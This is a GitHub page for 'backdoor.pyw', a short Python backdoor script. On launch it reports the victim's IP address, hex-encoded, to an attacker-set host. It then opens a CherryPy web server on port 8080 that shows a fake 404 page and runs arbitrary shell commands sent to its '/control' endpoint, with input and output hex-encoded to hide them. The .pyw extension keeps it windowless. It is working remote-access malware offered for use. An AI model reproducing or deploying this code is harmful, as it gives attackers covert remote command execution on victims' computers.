-
-
Notifications
You must be signed in to change notification settings - Fork 20
/
Copy pathbackdoor.pyw
33 lines (30 loc) · 1.02 KB
/
backdoor.pyw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import cherrypy ,os ,requests ,time ,socket ,binascii
Host="" #<Your Ip>
port = 8080 #<Port To Listen On>
def First():
try:
#Choose Local ip or Public ip depends on where's the target
#Public IP for wan
#ip = requests.get("http://api.ipify.org/?format=text").content
#Local Ip for lan
s = socket.socket()
s.connect(("gmail.com",80))
ip = str(s.getsockname()[0])
s.close()
a= requests.post("http://{0}:{1}/NewConnection".format(Host,port),{"ip":"{0}".format(binascii.hexlify(ip))})
except:
time.sleep(1)
First()
First()
class Main(object):
@cherrypy.expose
def index(self):
return "<h1>Error :404 Not Found</h1>" #:D
@cherrypy.expose
def control(self, cmd):
cmd = binascii.unhexlify(cmd)
return binascii.hexlify(os.popen(cmd).read())
if __name__ == '__main__':
cherrypy.server.socket_host = "0.0.0.0"
cherrypy.server.socket_port = port
cherrypy.quickstart(Main())